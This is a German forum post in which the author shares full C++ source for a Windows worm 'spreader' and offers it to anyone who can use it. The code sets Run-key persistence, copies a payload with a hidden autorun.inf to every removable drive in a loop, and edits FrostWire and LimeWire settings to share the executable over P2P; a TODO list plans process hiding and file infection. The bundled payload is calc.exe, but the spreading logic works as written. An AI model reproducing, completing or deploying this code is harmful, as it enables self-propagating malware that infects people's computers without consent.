Source von meinem Spreader
Heyho,
ich stelle euch hier mal meinen kleinen Spreader vor. Habe keine Lust mehr weiterzucoden xD Was er kann bitte aus dem Quellcode entnehmen... wer das nich kann, kann damit eh nichts anfangen :D
Ist nen billig ding, aber vielleicht kann es ja wer gebrauchen ..
spreader.cpp
Code:
#include <iostream>
#include <fstream>
#include <string>
#include <windows.h>
#include "spreader.h"
#include <direct.h>
#include <Shlobj.h>
using namespace std;
HRSRC hsrc;
HGLOBAL psrc;
HGLOBAL losrc;
HRSRC hsrcT;
HGLOBAL psrcT;
HGLOBAL losrcT;
int infectEXE() // Bullshit ^^
{
//WIN32_FIND_DATA FindFileData;
//HANDLE hfind;
//hfind = FindFirstFileEx("C://*.exe", FindExInfoStandard, &FindFileData, FindExSearchNameMatch, NULL, 0);
//cout << hfind << endl;
return 0;
}
int _res(string pfad, string name)
{
string sPfad = pfad + name; // EXE datei schreiben
hsrc = FindResource(0, MAKEINTRESOURCE(ID_EXE), RT_RCDATA);
psrc = LoadResource(0, hsrc);
losrc = LockResource(psrc);
DWORD dwResSize = SizeofResource(NULL,hsrc);
DWORD dwBytesWritten = 0;
HANDLE hTemp = CreateFile(sPfad.c_str(),GENERIC_WRITE,0,NULL,CREATE_ALWAYS,0,NULL);
WriteFile(hTemp, losrc, dwResSize, &dwBytesWritten, NULL);
CloseHandle(hTemp);
UnlockResource(psrc);
return 0;
}
int install()
{
HKEY hKey;
RegCreateKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,0,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&hKey,0);
DWORD dwData = 256;
BYTE cDaten[256] = "";
long b = RegQueryValueEx(hKey,"XML",0,0,cDaten,&dwData);
if(b != ERROR_SUCCESS)
{
BYTE cString[]="C:\\xml.exe";
RegSetValueEx(hKey,"XML",0,REG_SZ,(const BYTE*)cString,strlen((const char*)cString)+1);
_res("C:\\", "xml.exe");
}
RegCloseKey(hKey);
//HLM
HKEY hKey2;
RegCreateKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,0,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&hKey2,0);
DWORD dwData2 = 256;
BYTE cDaten2[256] = "";
long c = RegQueryValueEx(hKey2,"XML",0,0,cDaten2,&dwData2);
if(c != ERROR_SUCCESS)
{
BYTE cString2[]="C:\\xml.exe";
RegSetValueEx(hKey2,"XML",0,REG_SZ,(const BYTE*)cString2,strlen((const char*)cString2)+1);
_res("C:\\", "xml.exe");
}
RegCloseKey(hKey2);
return 0;
}
int usbSpread()
{
UINT drivesT[26];
string drives[26];
drivesT[0] = GetDriveType("A:\\");
drivesT[1] = GetDriveType("B:\\");
drivesT[2] = GetDriveType("C:\\");
drivesT[3] = GetDriveType("D:\\");
drivesT[4] = GetDriveType("E:\\");
drivesT[5] = GetDriveType("F:\\");
drivesT[6] = GetDriveType("G:\\");
drivesT[7] = GetDriveType("H:\\");
drivesT[8] = GetDriveType("I:\\");
drivesT[9] = GetDriveType("J:\\");
drivesT[10] = GetDriveType("K:\\");
drivesT[11] = GetDriveType("L:\\");
drivesT[12] = GetDriveType("M:\\");
drivesT[13] = GetDriveType("N:\\");
drivesT[14] = GetDriveType("O:\\");
drivesT[15] = GetDriveType("P:\\");
drivesT[16] = GetDriveType("Q:\\");
drivesT[17] = GetDriveType("R:\\");
drivesT[18] = GetDriveType("S:\\");
drivesT[19] = GetDriveType("T:\\");
drivesT[20] = GetDriveType("U:\\");
drivesT[21] = GetDriveType("V:\\");
drivesT[22] = GetDriveType("W:\\");
drivesT[23] = GetDriveType("X:\\");
drivesT[24] = GetDriveType("Y:\\");
drivesT[25] = GetDriveType("Z:\\");
drives[0] = "A:\\";
drives[1] = "B:\\";
drives[2] = "C:\\";
drives[3] = "D:\\";
drives[4] = "E:\\";
drives[5] = "F:\\";
drives[6] = "G:\\";
drives[7] = "H:\\";
drives[8] = "I:\\";
drives[9] = "J:\\";
drives[10] = "K:\\";
drives[11] = "L:\\";
drives[12] = "M:\\";
drives[13] = "N:\\";
drives[14] = "O:\\";
drives[15] = "P:\\";
drives[16] = "Q:\\";
drives[17] = "R:\\";
drives[18] = "S:\\";
drives[19] = "T:\\";
drives[20] = "U:\\";
drives[21] = "V:\\";
drives[22] = "W:\\";
drives[23] = "X:\\";
drives[24] = "Y:\\";
drives[25] = "Z:\\";
for(int i = 0; i < 26; i++)
{
if(drivesT[i] == 2)
{
//cout << "Usb spreading started! " << i << endl;
// Outstream erstellen
ofstream dat_out;
string dateiname = drives[i] + "autorun.inf";
//Datei öffnen
dat_out.open(dateiname.c_str(), ios_base::out);
if(!dat_out)
{
//cout << "Datein konnte nicht geöffnet werden!" << endl;
return 0;
}
// Daten in die Datei schreiben
string line1 = "[AutoRun]";
string line2 = "icon=jpg.ico";
string line3 = "open=start.exe";
string line4 = "action=Start";
dat_out << line1 << endl;
dat_out << line2 << endl;
dat_out << line3 << endl;
dat_out << line4 << endl;
//Stream closen
dat_out.close();
//Server schreiben
string name = "start.exe";
_res(drives[i], name);
SetFileAttributes((drives[i]+ "start.exe").c_str(), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes((drives[i]+ "autorun.inf").c_str(), FILE_ATTRIBUTE_HIDDEN);
}
else if(i == 8)
{
//cout << "No USB device!" << endl;
}
}
return 0;
}
int p2pSpread(LPSTR path)
{
//Share Ordner
string spreadDir = "C:\\Sys\\";
string spreadTxt = "C:\\Sys\\names.txt";
_mkdir(spreadDir.c_str());
// FROSTWIRE -------------------------
ifstream dat_ein;
string dateiname = "\\FrostWire\\frostwire.props";
ofstream dat_out;
string path2 = path + dateiname;
dat_out.open(path2.c_str(), ios_base::out | ios_base::app);
if(!dat_out)
{
//cout << "Kann " + dateiname + " nicht oeffnen!" << endl;
}
dat_out << "DIRECTORIES_TO_SEARCH_FOR_FILES=C\\:\\\\Sys" << endl;
// FROSTWIRE --------------------------
//Limewire ----------------------------
ifstream dat_ein2;
string LimeDateiname = "\\LimeWire\\limewire.props";
ofstream dat_out2;
string path3 = path + LimeDateiname;
dat_out.open(path3.c_str(), ios_base::out | ios_base::app);
dat_out2 << "DIRECTORIES_TO_SEARCH_FOR_FILES=C\\:\\\\Sys" << endl;
dat_out2 << "PROGRAMS_ALLOWED=true" << endl;
//Limewire ----------------------------
//TXT datei schreiben(enthält Liste von Programmnamen)
hsrcT = FindResource(0, MAKEINTRESOURCE(ID_TXT), RT_MESSAGETABLE);
psrcT = LoadResource(0, hsrcT);
losrcT = LockResource(psrcT);
DWORD dwResSizeT = SizeofResource(NULL,hsrcT);
DWORD dwBytesWrittenT = 0;
HANDLE hTempT = CreateFile(spreadTxt.c_str(),GENERIC_WRITE,0,NULL,CREATE_ALWAYS,0,NULL);
WriteFile(hTempT, losrcT, dwResSizeT, &dwBytesWrittenT, NULL);
CloseHandle(hTempT);
UnlockResource(psrcT);
//TXT Einlesen und Counter setzen
dat_ein.open(spreadTxt.c_str(), ios_base::in);
int count = 10; //15278
int loop = 0;
string name;
//Schreiben der EXE Datei mit versch. Namen
//while(dat_ein.good())
//{
getline(dat_ein,name,'\n');
_res(spreadDir.c_str(), name + ".exe");
//}
dat_ein.close();
return 0;
}
int main()
{
install();
TCHAR path[MAX_PATH];
SHGetFolderPath(0, CSIDL_APPDATA , 0, SHGFP_TYPE_CURRENT, path);
p2pSpread(path);
while(1)
{
usbSpread();
Sleep(5000);
}
return 0;
}
spreader.h
Code:
#ifndef SPREADER_H
#define SPREADER_H
// Resource-ID von "calc.exe" und "names.txt"
#define ID_EXE 110
#define ID_TXT 120
#endif
spreader.rc
Code:
#include <windows.h>
#include "spreader.h"
// calc.exe als res hinzufügen
// id = ID_EXE
// RCDATA = binary raw data
// http://msdn.microsoft.com/en-us/library/aa381039%28v=VS.85%29.aspx
ID_EXE RCDATA "C:/Windows/System32/calc.exe"
ID_TXT MESSAGETABLE "F:/Eigene Dateien/Visual Studio 2008/Projects/Spreader/Debug/names.txt"
TODO:
Code:
p2pSPread()
~~~~~~~~~~~~
+ Mehr P2P Clienten
infectEXE()
~~~~~~~~~~~~
+ alles xD
usbSpread()
~~~~~~~~~~~~
+ .lpg Icon einbinden
install()
~~~~~~~~~~~~
+ Autostart Entry [OK]
+ Iwo verstecken
Allgemein
~~~~~~~~~~~~
+ Speicherbedarf nach mehreren Stunden
+ prozess hiden
Als Beispiel wird atm die calc.exe gespreaded... Usb-spread ist aber eh hinfällig geworden...
Grüße